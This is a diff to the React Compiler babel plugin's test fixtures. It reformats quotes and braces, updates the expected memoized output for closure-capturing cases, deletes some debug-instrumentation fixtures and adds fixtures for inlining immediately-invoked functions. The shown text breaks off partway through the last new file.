--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-member-expr.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-member-expr.js
@@ -1,5 +1,5 @@
 function component(a) {
-  let z = { a };
+  let z = {a};
   let x = function () {
     console.log(z.a);
   };
@@ -8,6 +8,6 @@ function component(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-nested-member-call.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-nested-member-call.expect.md
index b8c2ed7c9c99..34a663aac4a2 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-nested-member-call.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-nested-member-call.expect.md
@@ -3,7 +3,7 @@
 
 ```javascript
 function component(a) {
-  let z = { a: { a } };
+  let z = {a: {a}};
   let x = function () {
     z.a.a();
   };
@@ -12,8 +12,8 @@ function component(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -33,6 +33,7 @@ function component(a) {
     t0 = $[1];
   }
   const z = t0;
+
   return z;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-nested-member-call.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-nested-member-call.js
index 3f1f009d6ef6..a76a4b88a97a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-nested-member-call.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-nested-member-call.js
@@ -1,5 +1,5 @@
 function component(a) {
-  let z = { a: { a } };
+  let z = {a: {a}};
   let x = function () {
     z.a.a();
   };
@@ -8,6 +8,6 @@ function component(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-nested-member-expr-in-nested-func.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-nested-member-expr-in-nested-func.expect.md
index ded1cbb416da..9e95af2b0d59 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-nested-member-expr-in-nested-func.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-nested-member-expr-in-nested-func.expect.md
@@ -3,7 +3,7 @@
 
 ```javascript
 function component(a) {
-  let z = { a: { a } };
+  let z = {a: {a}};
   let x = function () {
     (function () {
       console.log(z.a.a);
@@ -14,8 +14,8 @@ function component(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -48,6 +48,7 @@ function component(a) {
     t1 = $[3];
   }
   const x = t1;
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-nested-member-expr-in-nested-func.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-nested-member-expr-in-nested-func.js
index c96303707b73..c814d21d6afd 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-nested-member-expr-in-nested-func.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-nested-member-expr-in-nested-func.js
@@ -1,5 +1,5 @@
 function component(a) {
-  let z = { a: { a } };
+  let z = {a: {a}};
   let x = function () {
     (function () {
       console.log(z.a.a);
@@ -10,6 +10,6 @@ function component(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-nested-member-expr.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-nested-member-expr.expect.md
index 370e582adfbf..13c122750e9b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-nested-member-expr.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-nested-member-expr.expect.md
@@ -3,7 +3,7 @@
 
 ```javascript
 function component(a) {
-  let z = { a: { a } };
+  let z = {a: {a}};
   let x = function () {
     console.log(z.a.a);
   };
@@ -12,8 +12,8 @@ function component(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -44,6 +44,7 @@ function component(a) {
     t1 = $[3];
   }
   const x = t1;
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-nested-member-expr.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-nested-member-expr.js
index 3c72f5779930..a9cdaa155ee8 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-nested-member-expr.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-nested-member-expr.js
@@ -1,5 +1,5 @@
 function component(a) {
-  let z = { a: { a } };
+  let z = {a: {a}};
   let x = function () {
     console.log(z.a.a);
   };
@@ -8,6 +8,6 @@ function component(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-reference-changes-type.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-reference-changes-type.expect.md
index 8795160cbf03..f5d4b94ae541 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-reference-changes-type.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-reference-changes-type.expect.md
@@ -2,8 +2,9 @@
 ## Input
 
 ```javascript
-function component(a) {
-  let x = { a };
+import {mutate} from 'shared-runtime';
+function Component({a}) {
+  let x = {a};
   let y = 1;
   (function () {
     y = x;
@@ -12,20 +13,27 @@ function component(a) {
   return y;
 }
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 2}],
+  sequentialRenders: [{a: 2}, {a: 2}, {a: 3}],
+};
+
 ```
 
 ## Code
 
 ```javascript
 import { c as _c } from "react/compiler-runtime";
-function component(a) {
+import { mutate } from "shared-runtime";
+function Component(t0) {
   const $ = _c(2);
+  const { a } = t0;
   let y;
   if ($[0] !== a) {
     const x = { a };
     y = 1;
 
-    y;
     y = x;
 
     mutate(y);
@@ -37,5 +45,15 @@ function component(a) {
   return y;
 }
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ a: 2 }],
+  sequentialRenders: [{ a: 2 }, { a: 2 }, { a: 3 }],
+};
+
 ```
-      
\ No newline at end of file
+      
+### Eval output
+(kind: ok) {"a":2,"wat0":"joe"}
+{"a":2,"wat0":"joe"}
+{"a":3,"wat0":"joe"}
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-reference-changes-type.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-reference-changes-type.js
index 7c56dde4be4e..2b4b1b47ecc3 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-reference-changes-type.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-reference-changes-type.js
@@ -1,5 +1,6 @@
-function component(a) {
-  let x = { a };
+import {mutate} from 'shared-runtime';
+function Component({a}) {
+  let x = {a};
   let y = 1;
   (function () {
     y = x;
@@ -7,3 +8,9 @@ function component(a) {
   mutate(y);
   return y;
 }
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 2}],
+  sequentialRenders: [{a: 2}, {a: 2}, {a: 3}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-variable-in-nested-block.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-variable-in-nested-block.expect.md
index 8cfb299bca69..be0b64c122ac 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-variable-in-nested-block.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-variable-in-nested-block.expect.md
@@ -3,7 +3,7 @@
 
 ```javascript
 function component(a) {
-  let z = { a };
+  let z = {a};
   let x = function () {
     {
       console.log(z);
@@ -14,8 +14,8 @@ function component(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -25,27 +25,20 @@ export const FIXTURE_ENTRYPOINT = {
 ```javascript
 import { c as _c } from "react/compiler-runtime";
 function component(a) {
-  const $ = _c(4);
+  const $ = _c(2);
   let t0;
   if ($[0] !== a) {
-    t0 = { a };
+    const z = { a };
+    t0 = function () {
+      console.log(z);
+    };
     $[0] = a;
     $[1] = t0;
   } else {
     t0 = $[1];
   }
-  const z = t0;
-  let t1;
-  if ($[2] !== z) {
-    t1 = function () {
-      console.log(z);
-    };
-    $[2] = z;
-    $[3] = t1;
-  } else {
-    t1 = $[3];
-  }
-  const x = t1;
+  const x = t0;
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-variable-in-nested-block.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-variable-in-nested-block.js
index f8b2bf67edb1..0b39d15c848a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-variable-in-nested-block.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-variable-in-nested-block.js
@@ -1,5 +1,5 @@
 function component(a) {
-  let z = { a };
+  let z = {a};
   let x = function () {
     {
       console.log(z);
@@ -10,6 +10,6 @@ function component(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-variable-in-nested-function.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-variable-in-nested-function.expect.md
index e92ce698e716..cf365b495681 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-variable-in-nested-function.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-variable-in-nested-function.expect.md
@@ -3,7 +3,7 @@
 
 ```javascript
 function component(a) {
-  let z = { a };
+  let z = {a};
   let x = function () {
     (function () {
       console.log(z);
@@ -14,8 +14,8 @@ function component(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -25,29 +25,22 @@ export const FIXTURE_ENTRYPOINT = {
 ```javascript
 import { c as _c } from "react/compiler-runtime";
 function component(a) {
-  const $ = _c(4);
+  const $ = _c(2);
   let t0;
   if ($[0] !== a) {
-    t0 = { a };
-    $[0] = a;
-    $[1] = t0;
-  } else {
-    t0 = $[1];
-  }
-  const z = t0;
-  let t1;
-  if ($[2] !== z) {
-    t1 = function () {
+    const z = { a };
+    t0 = function () {
       (function () {
         console.log(z);
       })();
     };
-    $[2] = z;
-    $[3] = t1;
+    $[0] = a;
+    $[1] = t0;
   } else {
-    t1 = $[3];
+    t0 = $[1];
   }
-  const x = t1;
+  const x = t0;
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-variable-in-nested-function.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-variable-in-nested-function.js
index a05375efa629..63a5bf3d17c6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-variable-in-nested-function.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-variable-in-nested-function.js
@@ -1,5 +1,5 @@
 function component(a) {
-  let z = { a };
+  let z = {a};
   let x = function () {
     (function () {
       console.log(z);
@@ -10,6 +10,6 @@ function component(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/chained-assignment-context-variable.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/chained-assignment-context-variable.expect.md
index a830f53b0212..796b75b2ddbe 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/chained-assignment-context-variable.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/chained-assignment-context-variable.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { makeArray } from "shared-runtime";
+import {makeArray} from 'shared-runtime';
 
 function Component() {
   let x,
@@ -33,7 +33,6 @@ function Component() {
   let y;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
     y = x = {};
-
     const foo = () => {
       x = makeArray();
     };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/chained-assignment-context-variable.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/chained-assignment-context-variable.js
index 22f0f40c65d6..7d1ce1844486 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/chained-assignment-context-variable.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/chained-assignment-context-variable.js
@@ -1,4 +1,4 @@
-import { makeArray } from "shared-runtime";
+import {makeArray} from 'shared-runtime';
 
 function Component() {
   let x,
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/chained-assignment-expressions.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/chained-assignment-expressions.expect.md
index 5cd4f5238723..d3ab894d2af1 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/chained-assignment-expressions.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/chained-assignment-expressions.expect.md
@@ -3,9 +3,9 @@
 
 ```javascript
 function foo() {
-  const x = { x: 0 };
-  const y = { z: 0 };
-  const z = { z: 0 };
+  const x = {x: 0};
+  const y = {z: 0};
+  const z = {z: 0};
   x.x += y.y *= 1;
   z.z += y.y *= x.x &= 3;
   return z;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/chained-assignment-expressions.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/chained-assignment-expressions.js
index 887073d374a3..1fb9bbef3c26 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/chained-assignment-expressions.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/chained-assignment-expressions.js
@@ -1,7 +1,7 @@
 function foo() {
-  const x = { x: 0 };
-  const y = { z: 0 };
-  const z = { z: 0 };
+  const x = {x: 0};
+  const y = {z: 0};
+  const z = {z: 0};
   x.x += y.y *= 1;
   z.z += y.y *= x.x &= 3;
   return z;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/change-detect-reassign.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/change-detect-reassign.expect.md
deleted file mode 100644
index 099faadcede0..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/change-detect-reassign.expect.md
+++ /dev/null
@@ -1,48 +0,0 @@
-
-## Input
-
-```javascript
-// @enableChangeDetectionForDebugging
-function Component(props) {
-  let x = null;
-  if (props.cond) {
-    x = [];
-    x.push(props.value);
-  }
-  return x;
-}
-
-```
-
-## Code
-
-```javascript
-import { $structuralCheck } from "react-compiler-runtime";
-import { c as _c } from "react/compiler-runtime"; // @enableChangeDetectionForDebugging
-function Component(props) {
-  const $ = _c(2);
-  let x = null;
-  if (props.cond) {
-    {
-      x = [];
-      x.push(props.value);
-      let condition = $[0] !== props.value;
-      if (!condition) {
-        let old$x = $[1];
-        $structuralCheck(old$x, x, "x", "Component", "cached", "(3:6)");
-      }
-      $[0] = props.value;
-      $[1] = x;
-      if (condition) {
-        x = [];
-        x.push(props.value);
-        $structuralCheck($[1], x, "x", "Component", "recomputed", "(3:6)");
-        x = $[1];
-      }
-    }
-  }
-  return x;
-}
-
-```
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/change-detect-reassign.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/change-detect-reassign.js
deleted file mode 100644
index 8ccc3d30f091..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/change-detect-reassign.js
+++ /dev/null
@@ -1,9 +0,0 @@
-// @enableChangeDetectionForDebugging
-function Component(props) {
-  let x = null;
-  if (props.cond) {
-    x = [];
-    x.push(props.value);
-  }
-  return x;
-}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/class-component-with-render-helper.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/class-component-with-render-helper.expect.md
index 11abaa66eea4..175a590be5bd 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/class-component-with-render-helper.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/class-component-with-render-helper.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-// @compilationMode(infer)
+// @expectNothingCompiled @compilationMode:"infer"
 class Component {
   _renderMessage = () => {
     const Message = () => {
@@ -22,7 +22,7 @@ class Component {
 ## Code
 
 ```javascript
-// @compilationMode(infer)
+// @expectNothingCompiled @compilationMode:"infer"
 class Component {
   _renderMessage = () => {
     const Message = () => {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/class-component-with-render-helper.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/class-component-with-render-helper.js
index 90cba5b2657f..324945eb2a9d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/class-component-with-render-helper.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/class-component-with-render-helper.js
@@ -1,4 +1,4 @@
-// @compilationMode(infer)
+// @expectNothingCompiled @compilationMode:"infer"
 class Component {
   _renderMessage = () => {
     const Message = () => {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/codegen-emit-imports-same-source.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/codegen-emit-imports-same-source.expect.md
deleted file mode 100644
index dd67bcfbff02..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/codegen-emit-imports-same-source.expect.md
+++ /dev/null
@@ -1,39 +0,0 @@
-
-## Input
-
-```javascript
-// @enableEmitFreeze @instrumentForget
-
-function useFoo(props) {
-  return foo(props.x);
-}
-
-```
-
-## Code
-
-```javascript
-import {
-  useRenderCounter,
-  shouldInstrument,
-  makeReadOnly,
-} from "react-compiler-runtime";
-import { c as _c } from "react/compiler-runtime"; // @enableEmitFreeze @instrumentForget
-
-function useFoo(props) {
-  if (__DEV__ && shouldInstrument)
-    useRenderCounter("useFoo", "/codegen-emit-imports-same-source.ts");
-  const $ = _c(2);
-  let t0;
-  if ($[0] !== props.x) {
-    t0 = foo(props.x);
-    $[0] = props.x;
-    $[1] = __DEV__ ? makeReadOnly(t0, "useFoo") : t0;
-  } else {
-    t0 = $[1];
-  }
-  return t0;
-}
-
-```
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/codegen-emit-imports-same-source.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/codegen-emit-imports-same-source.js
deleted file mode 100644
index 4edff1c3fcae..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/codegen-emit-imports-same-source.js
+++ /dev/null
@@ -1,5 +0,0 @@
-// @enableEmitFreeze @instrumentForget
-
-function useFoo(props) {
-  return foo(props.x);
-}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/codegen-emit-make-read-only.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/codegen-emit-make-read-only.expect.md
deleted file mode 100644
index ba9e39e691b0..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/codegen-emit-make-read-only.expect.md
+++ /dev/null
@@ -1,45 +0,0 @@
-
-## Input
-
-```javascript
-// @enableEmitFreeze true
-
-function MyComponentName(props) {
-  let x = {};
-  foo(x, props.a);
-  foo(x, props.b);
-
-  let y = [];
-  y.push(x);
-  return y;
-}
-
-```
-
-## Code
-
-```javascript
-import { makeReadOnly } from "react-compiler-runtime";
-import { c as _c } from "react/compiler-runtime"; // @enableEmitFreeze true
-
-function MyComponentName(props) {
-  const $ = _c(3);
-  let y;
-  if ($[0] !== props.a || $[1] !== props.b) {
-    const x = {};
-    foo(x, props.a);
-    foo(x, props.b);
-
-    y = [];
-    y.push(x);
-    $[0] = props.a;
-    $[1] = props.b;
-    $[2] = __DEV__ ? makeReadOnly(y, "MyComponentName") : y;
-  } else {
-    y = $[2];
-  }
-  return y;
-}
-
-```
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/codegen-emit-make-read-only.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/codegen-emit-make-read-only.js
deleted file mode 100644
index 8ad3e859e6ea..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/codegen-emit-make-read-only.js
+++ /dev/null
@@ -1,11 +0,0 @@
-// @enableEmitFreeze true
-
-function MyComponentName(props) {
-  let x = {};
-  foo(x, props.a);
-  foo(x, props.b);
-
-  let y = [];
-  y.push(x);
-  return y;
-}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/codegen-inline-iife-reassign.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/codegen-inline-iife-reassign.expect.md
new file mode 100644
index 000000000000..0778152f341d
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/codegen-inline-iife-reassign.expect.md
@@ -0,0 +1,57 @@
+
+## Input
+
+```javascript
+import {makeArray, print} from 'shared-runtime';
+
+function useTest() {
+  let w = {};
+  return makeArray(
+    (w = 42),
+    w,
+    (function foo() {
+      w = 999;
+      return 2;
+    })(),
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useTest,
+  params: [],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { makeArray, print } from "shared-runtime";
+
+function useTest() {
+  const $ = _c(1);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    let w = {};
+    const t1 = (w = 42);
+    const t2 = w;
+
+    w = 999;
+    t0 = makeArray(t1, t2, 2);
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  return t0;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useTest,
+  params: [],
+};
+
+```
+      
+### Eval output
+(kind: ok) [42,42,2]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/codegen-inline-iife-reassign.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/codegen-inline-iife-reassign.ts
new file mode 100644
index 000000000000..8dd93a8482b9
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/codegen-inline-iife-reassign.ts
@@ -0,0 +1,18 @@
+import {makeArray, print} from 'shared-runtime';
+
+function useTest() {
+  let w = {};
+  return makeArray(
+    (w = 42),
+    w,
+    (function foo() {
+      w = 999;
+      return 2;
+    })(),
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useTest,
+  params: [],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/codegen-inline-iife-storeprop.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/codegen-inline-iife-storeprop.expect.md
new file mode 100644
index 000000000000..7310e0fcd26a
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/codegen-inline-iife-storeprop.expect.md
@@ -0,0 +1,57 @@
+
+## Input
+
+```javascript
+import {makeArray, print} from 'shared-runtime';
+
+function useTest() {
+  let w = {};
+  return makeArray(
+    (w.x = 42),
+    w.x,
+    (function foo() {
+      w.x = 999;
+      return 2;
+    })(),
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useTest,
+  params: [],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { makeArray, print } from "shared-runtime";
+
+function useTest() {
+  const $ = _c(1);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    const w = {};
+    const t1 = (w.x = 42);
+    const t2 = w.x;
+
+    w.x = 999;
+    t0 = makeArray(t1, t2, 2);
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  return t0;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useTest,
+  params: [],
+};
+
+```
+      
+### Eval output
+(kind: ok) [42,42,2]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/codegen-inline-iife-storeprop.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/codegen-inline-iife-storeprop.ts
new file mode 100644
index 000000000000..1b9f10856e48
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/codegen-inline-iife-storeprop.ts
@@ -0,0 +1,18 @@
+import {makeArray, print} from 'shared-runtime';
+
+function useTest() {
+  let w = {};
+  return makeArray(
+    (w.x = 42),
+    w.x,
+    (function foo() {
+      w.x = 999;
+      return 2;
+    })(),
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useTest,
+  params: [],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/codegen-inline-iife.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/codegen-inline-iife.expect.md
new file mode 100644
index 000000000000..70b23c70c093
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/codegen-inline-iife.expect.md
@@ -0,0 +1,54 @@
+
+## Input
+
+```javascript
+import {makeArray, print} from 'shared-runtime';
+
+function useTest() {
+  return makeArray<number | void>(
+    print(1),
+    (function foo() {
+      print(2);
+      return 2;
+    })(),
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useTest,
+  params: [],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { makeArray, print } from "shared-runtime";
+
+function useTest() {
+  const $ = _c(1);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    const t1 = print(1);
+
+    print(2);
+    t0 = makeArray(t1, 2);
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  return t0;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useTest,
+  params: [],
+};
+
+```
+      
+### Eval output
+(kind: ok) [null,2]
+logs: [1,2]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/codegen-inline-iife.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/codegen-inline-iife.ts
new file mode 100644
index 000000000000..52b1e8a9278e
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/codegen-inline-iife.ts
@@ -0,0 +1,16 @@
+import {makeArray, print} from 'shared-runtime';
+
+function useTest() {
+  return makeArray<number | void>(
+    print(1),
+    (function foo() {
+      print(2);
+      return 2;
+    })(),
+  );
+}
+
